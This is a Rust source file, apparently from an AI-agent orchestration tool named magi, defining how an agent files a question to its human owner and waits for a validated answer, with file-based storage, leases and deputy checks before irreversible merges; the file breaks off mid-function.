Skip to main content

magi/
ask.rs

1//! Questions: what an agent does when the next decision is the owner's.
2//!
3//! An agent that reaches a fork it has no authority to take - which storage
4//! backend, whether a breaking change is acceptable, which of two readings of
5//! the task is meant - has two options. It can guess, and produce an
6//! implementation the owner throws away; or it can stop and ask. This module is
7//! the second option, and it is the reason the graph can be left alone
8//! overnight without also being left to invent product decisions.
9//!
10//! Stopping is cheap on purpose. The run parks as [`RunStatus::Waiting`], which
11//! [`crate::daemon::settle`] refunds, so a question does not spend a task's
12//! retry budget: an operator who asks twice would otherwise come back to a held
13//! task that never had a line of code judged.
14//!
15//! # Shape
16//!
17//! Deliberately the same split as [`crate::queue`]. [`Question`] is data plus
18//! *pure* transitions - [`Question::answer`] is where a phone posting a choice
19//! the question never offered is rejected, and it touches no disk. [`Questions`]
20//! owns all I/O and is constructed with its root, so a test drives a real store
21//! in a temp directory without touching the operator's real home.
22//!
23//! One question is one JSON file under [`Questions`]'s root, written atomically.
24//! Files rather than a database because three processes read and write these
25//! records - the run that asked, `magi web` serving the phone, and `magi answer`
26//! at a terminal - and a rename is the only cross-process atomic write that
27//! needs no coordination between them. It is also why the wait below polls: the
28//! answer arrives in a file written by a process this one has no channel to.
29//!
30//! [`RunStatus::Waiting`]: crate::run::RunStatus::Waiting
31
32use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43/// On-disk format for a question. Bumped when a field's meaning changes, or -
44/// as with [`Question::thread`], [`Question::answer_timeout`] and now the
45/// waiter bookkeeping ([`Question::cwd`], [`Question::waiter`],
46/// [`Question::delivered_turns`], [`Question::answer_delivered`]) - when a
47/// new field is added that a much older magi has no notion of at all.
48///
49/// The web UI is written against this shape by hand - there is no shared schema
50/// between the front end and this struct - so a field that changes meaning
51/// without a bump here is a UI that lies silently.
52///
53/// A file is refused only when its own `schema` is *greater* than this one -
54/// see [`read_path`] - never merely different: `#[serde(default)]` on every
55/// field added since 1 is what makes an older file's absence of `thread` mean
56/// "no conversation yet" rather than "unreadable", and a strict equality check
57/// would turn every bump into an upgrade that breaks reading yesterday's
58/// question files.
59/// Schema 8 adds optional local posting comparison data. Older questions use Markdown.
60/// Schema 9 preserves individual original triggers inside whole-field replacements.
61/// Schema 10 records the operator decision generation for built-in triage.
62/// Schema 11 binds merge decisions to the displayed PR and head.
63pub const SCHEMA: u32 = 11;
64
65/// How often the wait re-reads the question file.
66///
67/// Three seconds: the answer comes from a human on a phone, so the difference
68/// between three seconds and three hundred milliseconds is invisible to them,
69/// while a tight loop would `stat` and parse a file thousands of times per
70/// minute for a wait that routinely lasts hours. Nothing is held between polls -
71/// no lock, no open handle - because `magi web` and `magi answer` write the
72/// same file from other processes.
73const POLL: Duration = Duration::from_secs(3);
74
75/// How long an agent's reply may go unnoticed before it earns its own
76/// notification.
77///
78/// An operator reading the card when the agent replies does not need paging
79/// again for a conversation they are already in; one who walked away still
80/// needs the tap on the shoulder. Five minutes is a judgement call about that
81/// line, not a policy a repository has an opinion about, which is why it lives
82/// here rather than in `magi.toml`: the operator cannot tell from `magi.toml`
83/// whether they are still looking at the phone, and neither can this build, so
84/// there is nothing for a per-repository setting to be *right* about.
85const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
86
87/// How long the operator's notification command may run before it is killed.
88///
89/// A webhook that hangs must not hang the run. Twenty seconds is long enough
90/// for a slow HTTP round trip and short enough that the operator still gets the
91/// question filed and the run parked in a bounded time.
92const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
93
94/// The longest a single `magi ask` invocation may block on the owner before
95/// it hands the wait back to whatever is running it, rather than to
96/// [`Question::abandon`].
97///
98/// `answer_timeout` defaults to a day, and that is a deadline for the
99/// *question*, not a budget the calling process is free to spend all at
100/// once: an agent CLI's own shell tool kills a command that runs much longer
101/// than this, and the child it kills is `magi ask` itself - the one thing
102/// that would have read the owner's answer. Run 20260908-205802-c9eb is what
103/// that looks like end to end: seat `impl-A` asked, its tool timed the wait
104/// out, and the seat's own summary said it had backgrounded the blocking
105/// `magi ask` and would "continue once the owner replies" - except nothing
106/// was left to notice the reply. The seat exited `completed`, the
107/// backgrounded child died with it, and the owner's eventual answer on the
108/// web UI had nobody left to read it.
109///
110/// So a wait is sliced instead: this call blocks for at most `WAIT_SLICE`
111/// and returns [`Wait::Pending`] if nothing happened, which is not a
112/// failure - the caller runs `magi ask --wait <id>` again, in a fresh
113/// process the tool timeout has never seen. Four minutes leaves a ten-minute
114/// tool budget room for the CLI's own startup and the notification's round
115/// trip, while staying long enough that an owner who answers within the hour
116/// is not making an agent loop through fifteen slices to hear about it.
117const WAIT_SLICE: Duration = Duration::from_secs(240);
118
119/// How long a lease stays believable after its last beat.
120///
121/// Longer than [`WAIT_SLICE`]'s hand-back gap by a wide margin: a slice that
122/// ends with [`Wait::Pending`] leaves the asking agent a moment to call
123/// `magi ask --wait` again, and a reply leaves it a moment to call `--thread`.
124/// A holder that beats every [`POLL`] and is silent for ninety seconds is gone
125/// or about to be, and a lease that is merely between two calls must not be
126/// mistaken for that - the daemon waiter would start a second agent on a
127/// conversation the first is still in.
128pub const LEASE_TTL: Duration = Duration::from_secs(90);
129
130/// How long [`Questions::update`]'s lock may be held before it is presumed
131/// left behind by a writer that died.
132const LOCK_STALE: Duration = Duration::from_secs(10);
133
134/// Environment variable naming the base URL of the web UI, for `{url}`.
135///
136/// A run cannot discover this by itself: `magi web` is a different process,
137/// usually started by hand and often on a different machine on the tailnet, and
138/// the address it settled on (Tailscale IP, port, or the fallback it warned
139/// about) exists only in that process. So the operator names it once, in the
140/// environment `magi serve` runs in - `magi web --open` prints exactly the
141/// string to use on stdout. Unset means `{url}` expands to nothing rather than
142/// to a guess: a notification carrying a link to an address nothing is
143/// listening on is worse than one carrying no link at all.
144pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
145
146/// Largest panel magi will store, html plus assets.
147///
148/// Checked as a total, before a single byte is written, because the failure
149/// this prevents is not a full disk but a half-copied panel: an agent that
150/// points at a 200 MB screen recording must get one clean error, not a
151/// directory holding the three small files that fitted before the copy died.
152/// Eight mebibytes is far more than a diff, a table and a handful of images
153/// need, and small enough that a phone on a hotel link still renders it.
154pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
155
156/// Suffix of the directory holding one question's panel.
157///
158/// A sibling of `<id>.json` rather than a subdirectory of the store, so
159/// [`Questions::list`] - which takes every `*.json` in the root - cannot ever
160/// see it, and so a panel travels with the question it belongs to.
161const PANEL_DIR: &str = ".panel";
162
163/// The panel's entry point inside its directory.
164const PANEL_HTML: &str = "index.html";
165
166/// Scratch directory a panel is assembled in before it is swapped into place.
167const PANEL_TMP: &str = ".panel.tmp";
168
169/// The one asset filename rule, applied on write **and** on read.
170///
171/// Exactly `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`, and additionally never
172/// containing `..`. The pattern is this narrow because the name arrives from
173/// two untrusted directions and is then joined onto a path: an agent naming
174/// the asset, and a URL naming it back to [`Questions::panel_asset`]. Every
175/// character that could change what the join means is outside the set - `/`
176/// and `\` cannot appear, so no name can descend or escape; a leading `.` is
177/// refused, so no name can be `..`, `.` or a dotfile; a drive letter's `:` is
178/// refused, which matters because on Windows `Path::join` with an absolute
179/// path *discards the whole prefix* and would serve any file on the disk.
180/// `..` is refused anywhere rather than only at the front so the rule reads
181/// the same as the sentence "no traversal" to anyone auditing it.
182///
183/// The length bound keeps a name inside every filesystem's limit, so a panel
184/// that stores cannot fail to store on the operator's other machine.
185pub fn valid_asset_name(name: &str) -> bool {
186    if name.is_empty() || name.len() > 64 || name.contains("..") {
187        return false;
188    }
189    let mut chars = name.chars();
190    chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
191        && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
192}
193
194/// Where a question is in its life.
195#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
196#[serde(rename_all = "lowercase")]
197pub enum QuestionStatus {
198    /// Asked, and waiting for the owner. A run is parked behind it.
199    Open,
200    /// The owner decided. [`Question::answer`] holds what they said.
201    Answered,
202    /// Nobody answered in time, or the question outlived the run that asked.
203    /// Kept rather than deleted: what was asked and never answered is the
204    /// evidence that the operator was the bottleneck.
205    Abandoned,
206}
207
208impl QuestionStatus {
209    /// Is a run still parked behind this question?
210    pub fn open(self) -> bool {
211        matches!(self, Self::Open)
212    }
213
214    /// Lowercase name, as it appears on disk and in the API.
215    pub fn as_str(self) -> &'static str {
216        match self {
217            Self::Open => "open",
218            Self::Answered => "answered",
219            Self::Abandoned => "abandoned",
220        }
221    }
222}
223
224/// What the owner said.
225///
226/// Two shapes rather than one string because the question decides which is
227/// admissible, and [`Question::answer`] enforces it. A phone that posts
228/// `{"choice": "Redis"}` to a question that never offered Redis is a bug in the
229/// front end, and it is caught here rather than handed to an agent as fact.
230#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
231#[serde(rename_all = "lowercase")]
232pub enum Answer {
233    /// One of the offered choices, verbatim.
234    Choice(String),
235    /// Free text, for a question that offered no choices.
236    Text(String),
237}
238
239/// What the daemon does to the task behind a question when a particular
240/// choice is answered.
241///
242/// A closed set, attached to a choice by the asker (`magi ask --choice X
243/// --action X=resume`) and matched by the choice's exact text. Nothing here
244/// is ever derived from the wording of a label or of a free-text answer: a
245/// question without an action for the chosen label does nothing but answer.
246#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
247#[serde(tag = "do", rename_all = "lowercase")]
248pub enum ChoiceAction {
249    /// Resume this run of the task that owns the question.
250    Resume {
251        /// The run to continue. Must still be the task's latest run.
252        run: String,
253    },
254    /// Requeue the task as a fresh competition.
255    Requeue,
256    /// Close the task as done.
257    Done,
258}
259
260impl ChoiceAction {
261    /// Parse a `--action` value: `<label>=<verb>`, where the verb is
262    /// `resume[:<run>]`, `requeue` or `done`. A `resume` without a run takes
263    /// `default_run` (the asker's own `MAGI_RUN`). Returns the label and its
264    /// action; whether the label is one of the choices is the caller's check.
265    pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
266        let Some((label, verb)) = spec.rsplit_once('=') else {
267            bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|done>`");
268        };
269        let label = label.trim();
270        if label.is_empty() {
271            bail!("`--action {spec}` names no choice before `=`");
272        }
273        let verb = verb.trim();
274        let action = match verb.split_once(':') {
275            Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
276                run: run.trim().to_owned(),
277            },
278            None if verb == "resume" => {
279                if default_run.is_empty() {
280                    bail!("`--action {spec}` names no run and MAGI_RUN is not set");
281                }
282                Self::Resume {
283                    run: default_run.to_owned(),
284                }
285            }
286            None if verb == "requeue" => Self::Requeue,
287            None if verb == "done" => Self::Done,
288            _ => bail!(
289                "unknown action `{verb}` in `--action {spec}`; \
290                 use resume[:<run>], requeue or done"
291            ),
292        };
293        Ok((label.to_owned(), action))
294    }
295
296    /// Short human wording, for `magi show` and the card.
297    pub fn describe(&self) -> String {
298        match self {
299            Self::Resume { run } => format!("resume run {}", short(run)),
300            Self::Requeue => "requeue the task".to_owned(),
301            Self::Done => "mark the task done".to_owned(),
302        }
303    }
304}
305
306/// Parse every `--action` value against the offered `choices`, refusing a
307/// label the question does not offer (it could never fire).
308pub fn parse_actions(
309    specs: &[String],
310    choices: &[String],
311    default_run: &str,
312) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
313    let mut out = std::collections::BTreeMap::new();
314    for spec in specs {
315        let (label, action) = ChoiceAction::parse(spec, default_run)?;
316        if !choices.contains(&label) {
317            bail!(
318                "`--action {spec}`: `{label}` is not one of the --choice values ({})",
319                choices.join(", ")
320            );
321        }
322        if out.insert(label.clone(), action).is_some() {
323            bail!("more than one --action for `{label}`");
324        }
325    }
326    Ok(out)
327}
328
329/// Who wrote one turn of a question's conversation.
330///
331/// Two values, not three: [`Question::thread`] is the record of a single
332/// question stopping and resuming, and the agent that resumes it is always
333/// the one that asked - a fresh consultant would have to be caught up on
334/// everything the first agent already knows, which is the round trip this
335/// module exists to avoid. The names and the wire spelling deliberately match
336/// [`crate::chat::Who`], which this module does not depend on: the two are the
337/// same idea in two products, and giving them the same shape is what lets the
338/// phone render both with one component.
339#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
340#[serde(rename_all = "lowercase")]
341pub enum Who {
342    /// The person the agent asked.
343    Operator,
344    /// The agent that asked, replying to a question of its own rather than
345    /// answering.
346    Agent,
347}
348
349/// One turn in a question's back-and-forth, after the question itself was
350/// asked.
351///
352/// The question's own `summary`/`detail`/`choices` already carry the agent's
353/// opening move, so a turn only exists from the moment the owner talks back -
354/// [`Question::thread`] starts empty and stays that way for the overwhelming
355/// majority of questions, which are answered on the first read.
356#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
357#[serde(deny_unknown_fields)]
358pub struct Turn {
359    /// Who said it.
360    pub who: Who,
361    /// What they said.
362    pub body: String,
363    /// When they said it.
364    pub at: Timestamp,
365    /// A deputy's own report beside a settle: side effects it caused and
366    /// requests it could not carry out. The deputy's claim, never checked by
367    /// magi, and kept apart from `body` so the verified "Settled as" line and
368    /// this self-report cannot be mistaken for each other.
369    #[serde(default, skip_serializing_if = "Option::is_none")]
370    pub note: Option<String>,
371}
372
373/// Who is keeping watch over an open question.
374#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
375#[serde(rename_all = "lowercase")]
376pub enum WaiterKind {
377    /// The `magi ask` process the agent started.
378    Asker,
379    /// The `magi serve` waiter ([`crate::waiter`]), resuming the asking seat's
380    /// own session because the asker is gone.
381    Daemon,
382    /// The question's deputy ([`crate::deputy`]): a short-lived seat that
383    /// `magi serve` runs for a question the conductor filed, so that something
384    /// which remembers why it was asked is on the other end.
385    Deputy,
386}
387
388/// The follow-up seat a conductor question hands its wait to.
389///
390/// The conductor itself never waits (see [`crate::conduct`]), so a free-text
391/// reply to its question would reach nobody. A deputy is a seat of its own -
392/// keyed `deputy-<question id>`, never the conductor's shared seat - that
393/// inherits what the conductor knew about this one question ([`Deputy::brief`])
394/// and blocks on it with `magi ask --wait`. Persisted on the question so a
395/// restarted daemon resumes the same CLI conversation instead of assuming it.
396///
397/// Written only through [`Questions::update`]: the owner's say and answer land
398/// on the same file.
399#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
400pub struct Deputy {
401    /// Why the question was asked, what each choice leads to: the conductor's
402    /// context for this one question, handed to the deputy in its prompt.
403    pub brief: String,
404    /// The agent that holds the seat. Empty until the first start.
405    #[serde(default)]
406    pub agent: String,
407    /// The deputy's own conversation. `None` until the first start.
408    #[serde(default)]
409    pub seat: Option<crate::agent::SeatState>,
410    /// How many times a deputy turn was started for this question. Never reset
411    /// by a restart, so a deputy that keeps dying is bounded.
412    #[serde(default)]
413    pub starts: u32,
414}
415
416impl Deputy {
417    /// A deputy that has not started yet, holding `brief`.
418    pub fn new(brief: String) -> Self {
419        Self {
420            brief,
421            agent: String::new(),
422            seat: None,
423            starts: 0,
424        }
425    }
426}
427
428/// Seat name of the deputy for question `id`.
429pub fn deputy_seat_key(id: &str) -> String {
430    format!("deputy-{}", short(id))
431}
432
433/// The record's note of who was last known to be waiting.
434///
435/// A note, not a promise: nothing rewrites the question when a holder dies, so
436/// whether it still holds is read from the [`Lease`] beside it.
437#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
438pub struct Waiter {
439    /// Who took the wait.
440    pub kind: WaiterKind,
441    /// When they took it.
442    pub since: Timestamp,
443}
444
445/// A sidecar (`<id>.lease`) saying that something is alive and waiting.
446///
447/// A sidecar rather than a field of the question because a holder beats every
448/// few seconds, and rewriting the question that often would race the phone's
449/// answer and say with lost updates. It is not `*.json`, so
450/// [`Questions::list`] never sees it. No pid check: pids are reused and mean
451/// different things across platforms, while a beat that stopped is evidence on
452/// every one.
453#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
454pub struct Lease {
455    /// Who beat last.
456    pub kind: WaiterKind,
457    /// Their process id, for a human reading the file.
458    pub pid: u32,
459    /// When they beat last.
460    pub beat_at: Timestamp,
461}
462
463impl Lease {
464    /// Was the last beat recent enough to believe the holder is still there?
465    pub fn fresh(&self, now: Timestamp) -> bool {
466        now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
467    }
468}
469
470/// One decision magi will not take on the owner's behalf.
471#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
472#[serde(deny_unknown_fields)]
473pub struct Question {
474    /// On-disk format version.
475    pub schema: u32,
476    /// Question id, e.g. `20260902-231501-ab12`. Same shape as a run's and a
477    /// task's, so the operator can paste any of them at any prefix argument.
478    pub id: String,
479    /// Run that is parked behind this question.
480    pub run: String,
481    /// Graph node the asking agent was working in, e.g. `implement`.
482    pub node: String,
483    /// Seat that asked, e.g. `impl-A`. Recorded because "which agent needs
484    /// this" decides whether the answer unblocks one candidate or all of them.
485    pub seat: String,
486    /// One line: the question itself. This is what a notification carries and
487    /// what the phone shows above the answer controls.
488    pub summary: String,
489    /// The reasoning behind the question, as markdown. May be long, may be
490    /// empty. Rendered as text nodes by the UI, never as markup.
491    pub detail: String,
492    /// Display-only comparison; never used to decide or construct a post.
493    #[serde(default, skip_serializing_if = "Option::is_none")]
494    pub posting_comparison: Option<crate::github_text::PostingComparison>,
495    /// The admissible answers. **Empty means free text** - that one condition
496    /// is the whole difference between the two kinds of question, on disk, in
497    /// the UI, and in [`Question::answer`]'s validation.
498    pub choices: Vec<String>,
499    /// Exact PR and head displayed to the owner. Absent on legacy questions.
500    #[serde(default)]
501    pub merge_target: Option<crate::merge_decision::Target>,
502    /// What the daemon does when a given choice is answered, keyed by the
503    /// choice's exact text. Empty for an ordinary question. A key is always
504    /// one of [`Question::choices`]; `#[serde(default)]` so older files read.
505    #[serde(default)]
506    pub actions: std::collections::BTreeMap<String, ChoiceAction>,
507    /// Does this question have an agent-authored HTML panel beside it?
508    ///
509    /// Serialised with a default so a question written by an older magi - or
510    /// by hand - still deserialises rather than failing the whole store, which
511    /// under [`Questions::list`]'s skip-unreadable rule would quietly hide the
512    /// open question the operator was looking for.
513    #[serde(default)]
514    pub panel: bool,
515    /// Files copied in beside the panel's html, by base name, sorted.
516    ///
517    /// The list exists so a reader knows what a panel is made of without
518    /// walking the directory, and every entry satisfies [`valid_asset_name`].
519    /// Sorted because it is compared - a question re-asked with the same
520    /// assets in a different argument order is not a different question.
521    #[serde(default)]
522    pub assets: Vec<String>,
523    /// Current state.
524    pub status: QuestionStatus,
525    /// When the agent asked.
526    pub asked_at: Timestamp,
527    /// Operator decision generation when a built-in triage question was filed.
528    #[serde(default)]
529    pub triage_generation: Option<u64>,
530    /// When the owner answered, if they did.
531    pub answered_at: Option<Timestamp>,
532    /// What they said.
533    pub answer: Option<Answer>,
534    /// Everything said after the question itself, oldest first: the owner
535    /// asking back, the agent replying, as many times as it takes before an
536    /// [`Answer`] lands.
537    ///
538    /// `#[serde(default)]` so a question written before this field existed -
539    /// every question on disk before this build - still deserialises as one
540    /// with no conversation yet, rather than failing [`Questions::list`]'s
541    /// read and quietly hiding an open question from the operator.
542    #[serde(default)]
543    pub thread: Vec<Turn>,
544    /// The `answer_timeout`, in seconds, that was in force when this question
545    /// was first asked. `0` means unrecorded - a question written before this
546    /// field existed, or one filed by a flow (land's merge-approval gate)
547    /// that never sets it because it never resumes a sliced wait.
548    ///
549    /// [`Question::new`] cannot know this - the effective timeout (`--timeout`,
550    /// or the config default) is decided by the caller, after the question
551    /// already exists - so it starts at `0` here and whoever files a fresh
552    /// question sets it once, the same way [`Question::panel`] is set by
553    /// [`Questions::put_panel`] rather than by the constructor. It is never
554    /// touched again: `magi ask --wait` reads it as the one deadline it is
555    /// allowed to enforce, precisely so that a `--timeout` given (or omitted)
556    /// on a later call can never quietly extend or shrink the budget the
557    /// question was actually asked with.
558    #[serde(default)]
559    pub answer_timeout: u64,
560    /// The directory the asking agent was working in when it asked, so the
561    /// daemon waiter can resume that agent's session from where it stood.
562    /// `None` for a question no `magi ask` filed (land's approval gate, a
563    /// release notice, one written before this field existed): those have no
564    /// agent to hand anything back to, and the waiter leaves them alone.
565    #[serde(default)]
566    pub cwd: Option<String>,
567    /// Who was last known to be waiting - see [`Waiter`].
568    #[serde(default)]
569    pub waiter: Option<Waiter>,
570    /// How many entries of [`Question::thread`] the agent has been shown, by
571    /// the asking process printing them or by the waiter resuming the seat.
572    /// The owner's turn at an index at or past this has reached nobody yet.
573    #[serde(default)]
574    pub delivered_turns: usize,
575    /// Has the agent been told the [`Answer`]? The asker prints it as it
576    /// returns; the waiter delivers it when the asker was gone.
577    #[serde(default)]
578    pub answer_delivered: bool,
579    /// The follow-up seat waiting on this question, for a question the
580    /// conductor filed. `None` for every other question.
581    #[serde(default)]
582    pub deputy: Option<Deputy>,
583    /// Set once the owner handed this question to the chat it came from
584    /// ([`crate::consult::begin`]). The question stays open; this only records
585    /// that the chat was asked, so a second tap does not post it twice.
586    #[serde(default)]
587    pub consult: Option<ChatConsult>,
588    /// Persisted owner evidence for a standing conversation answer.
589    #[serde(default, skip_serializing_if = "Option::is_none")]
590    pub answer_authority: Option<crate::consult::AnswerAuthority>,
591    /// Independent task facts behind a conductor question. Answered questions
592    /// with unchanged facts must not be regenerated just to ask again.
593    #[serde(default)]
594    pub decision_context: Option<String>,
595}
596
597/// A question the owner passed to the chat conversation its task came from.
598#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
599pub struct ChatConsult {
600    /// The conversation the question was posted into.
601    pub talk: String,
602    /// When it was posted.
603    pub at: Timestamp,
604}
605
606impl Question {
607    /// Does `run` hold a task id rather than a run id? True for the
608    /// conductor's and the triage questions, which are filed about a task.
609    pub fn run_names_task(&self) -> bool {
610        matches!(
611            self.node.as_str(),
612            crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
613        )
614    }
615
616    /// Ask something. Persist it with [`Questions::put`], or hand it to
617    /// [`ask_and_wait`], which files it and waits.
618    pub fn new(
619        run: String,
620        node: String,
621        seat: String,
622        summary: String,
623        detail: String,
624        choices: Vec<String>,
625    ) -> Self {
626        Self {
627            schema: SCHEMA,
628            id: new_id(),
629            run,
630            node,
631            seat,
632            summary,
633            detail,
634            posting_comparison: None,
635            choices,
636            merge_target: None,
637            actions: std::collections::BTreeMap::new(),
638            panel: false,
639            assets: Vec::new(),
640            status: QuestionStatus::Open,
641            asked_at: Timestamp::now(),
642            triage_generation: None,
643            answered_at: None,
644            answer: None,
645            thread: Vec::new(),
646            answer_timeout: 0,
647            cwd: None,
648            waiter: None,
649            delivered_turns: 0,
650            answer_delivered: false,
651            deputy: None,
652            consult: None,
653            answer_authority: None,
654            decision_context: None,
655        }
656    }
657
658    /// Short form used in reports and on the phone, matching a run's short id.
659    pub fn short(&self) -> &str {
660        short(&self.id)
661    }
662
663    /// The action attached to the choice that was answered, if the question
664    /// is answered with a choice that carries one. Free text never matches.
665    pub fn chosen_action(&self) -> Option<&ChoiceAction> {
666        match (&self.status, &self.answer) {
667            (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
668            _ => None,
669        }
670    }
671
672    /// Does this question want free text rather than one of a set?
673    pub fn free_text(&self) -> bool {
674        self.choices.is_empty()
675    }
676
677    /// Record an answer. Rejects a choice the question does not offer, free
678    /// text on a multiple-choice question, an empty answer, and a second
679    /// answer.
680    ///
681    /// Every rejection here is a case where accepting would put a fabrication
682    /// in front of an agent as if the owner had said it. The messages are
683    /// distinct because the caller is a web handler that shows them verbatim,
684    /// and "that is not one of the choices" and "this question is multiple
685    /// choice" are different mistakes with different fixes.
686    pub fn answer(&mut self, answer: Answer) -> Result<()> {
687        match self.status {
688            QuestionStatus::Answered => bail!(
689                "question {} was already answered; the run has moved on and a \
690                 second answer would be a decision nobody acted on",
691                self.short()
692            ),
693            QuestionStatus::Abandoned => bail!(
694                "question {} was abandoned and the run behind it is gone",
695                self.short()
696            ),
697            QuestionStatus::Open => {}
698        }
699        let body = match &answer {
700            Answer::Choice(c) | Answer::Text(c) => c.as_str(),
701        };
702        if body.trim().is_empty() {
703            bail!(
704                "question {} needs an answer; an empty one tells the agent \
705                 nothing and it would guess anyway",
706                self.short()
707            );
708        }
709        match &answer {
710            Answer::Choice(c) if self.free_text() => bail!(
711                "question {} asks for free text, so `{c}` cannot be a choice \
712                 it offered",
713                self.short()
714            ),
715            Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
716                "`{c}` is not one of the choices question {} offers: {}",
717                self.short(),
718                self.choices.join(", ")
719            ),
720            Answer::Text(_) if !self.free_text() => bail!(
721                "question {} is multiple choice; answer with one of: {}",
722                self.short(),
723                self.choices.join(", ")
724            ),
725            _ => {}
726        }
727        if body.eq_ignore_ascii_case(crate::land::HOLD) && self.actions.contains_key(body) {
728            bail!("hold cannot execute a question action");
729        }
730        self.answered_at = Some(Timestamp::now());
731        self.answer = Some(answer);
732        self.status = QuestionStatus::Answered;
733        Ok(())
734    }
735
736    /// Give up on an answer, keeping the record of what was asked.
737    ///
738    /// An answered question is left alone, which matters at exactly one moment:
739    /// the owner answering in the same second the wait's deadline passes. The
740    /// answer is the thing worth keeping there, and it has already been written
741    /// by another process.
742    ///
743    /// The reason is appended to [`Question::detail`] because the on-disk shape
744    /// is a contract with the front end and has no field of its own for it -
745    /// and "asked at 3am, nobody home for a day" belongs with the question, not
746    /// only in a log the operator will never open.
747    pub fn abandon(&mut self, why: impl Into<String>) {
748        if !self.status.open() {
749            return;
750        }
751        self.status = QuestionStatus::Abandoned;
752        let why = why.into();
753        let why = why.trim();
754        if why.is_empty() {
755            return;
756        }
757        if !self.detail.is_empty() {
758            self.detail.push('\n');
759        }
760        self.detail.push_str("\n_Abandoned: ");
761        self.detail.push_str(why);
762        self.detail.push_str("._\n");
763    }
764
765    /// The answer as the asking agent should read it.
766    ///
767    /// One string for both kinds of question: the agent's prompt says "the
768    /// owner answered:", and a chosen option and a typed sentence are the same
769    /// thing at that point. `None` while the question is open or abandoned, so
770    /// a caller cannot mistake silence for a decision.
771    pub fn resolution(&self) -> Option<String> {
772        match (self.status, &self.answer) {
773            (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
774                Some(a.clone())
775            }
776            _ => None,
777        }
778    }
779
780    /// A deputy recording that the owner's own words settled the question.
781    ///
782    /// The owner decided in free text ("setup done") on a question that offers
783    /// choices, so no choice was ever tapped. This records `label` as the
784    /// answer - and nothing else: applying it is the daemon's existing path
785    /// for an answered conductor question. Refused unless the caller is this
786    /// question's deputy seat, `label` is one of the offered choices, and
787    /// `quote` appears verbatim in something the owner said; the quote is
788    /// kept in the thread as an agent turn so the record shows what the
789    /// decision rests on.
790    pub fn settle_by_deputy(
791        &mut self,
792        seat: &str,
793        label: &str,
794        quote: &str,
795        note: Option<&str>,
796    ) -> Result<()> {
797        let Some(deputy) = &self.deputy else {
798            bail!("question {} has no deputy", self.short());
799        };
800        let own = deputy.seat.as_ref().map(|s| s.key.as_str());
801        if own != Some(seat) {
802            bail!("only the deputy of question {} may settle it", self.short());
803        }
804        if !self.choices.iter().any(|c| c == label) {
805            bail!(
806                "`{label}` is not one of the choices offered on question {}",
807                self.short()
808            );
809        }
810        let quote = quote.trim();
811        if quote.is_empty()
812            || !self
813                .thread
814                .iter()
815                .any(|t| t.who == Who::Operator && t.body.contains(quote))
816        {
817            bail!(
818                "the quote is not something the owner said on question {}",
819                self.short()
820            );
821        }
822        // The owner's latest message is what counts (an earlier one may since
823        // have been qualified or withdrawn).
824        let latest = self
825            .thread
826            .iter()
827            .rev()
828            .find(|t| t.who == Who::Operator)
829            .map(|t| {
830                if self.node == crate::github_text::ASK_NODE && !crate::deputy::merge_gated(self) {
831                    t.body.as_str()
832                } else {
833                    t.body.trim()
834                }
835            });
836        if let Some(message) = latest {
837            crate::consult::validate_batch_effect(self, label, message, quote)?;
838        }
839        if self.node == crate::github_text::ASK_NODE && label == crate::github_text::USE_MY_TEXT {
840            let message = latest.context("use my text requires a current owner instruction with the literal replacement title")?;
841            crate::consult::validate_effect(self, label, message, quote, true)?;
842        } else if crate::deputy::merge_gated(self) {
843            // The merge is irreversible and a say is not a decision. `hold` must
844            // be the latest message exactly. For `merge`, whether the words are
845            // a clear, unhedged instruction is the deputy's judgement alone;
846            // all magi checks is that the quote is a verbatim part of that
847            // latest message.
848            let ok = if label == crate::land::APPROVE {
849                latest.is_some_and(|m| match &self.merge_target {
850                    Some(target) => m == format!("merge {}", target.head) && quote == m,
851                    None => m.contains(quote),
852                })
853            } else {
854                latest.is_some_and(|m| crate::merge_decision::exact_owner_choice(label, m, quote))
855            };
856            if !ok {
857                bail!(
858                    "on a merge approval `{label}` settles it only when the quote is a \
859                     verbatim part of the owner's latest message ({}); if the wording is \
860                     doubtful, ask what they mean with `--thread` instead",
861                    if label == crate::land::HOLD {
862                        "for `hold`, the whole message"
863                    } else {
864                        "the quote must be the instruction itself"
865                    }
866                );
867            }
868        } else if self.node == crate::github_text::ASK_NODE
869            && crate::deputy::destructive(self, label)
870        {
871            if !latest.is_some_and(|m| crate::github_text::posting_authorized(m, quote, label)) {
872                bail!(
873                    "posting confirmation requires an explicit, unconditional instruction for the chosen text quoted verbatim from the latest owner message"
874                );
875            }
876        } else if crate::deputy::destructive(self, label)
877            && !latest.is_some_and(|m| crate::land::unhedged(m, quote))
878        {
879            bail!(
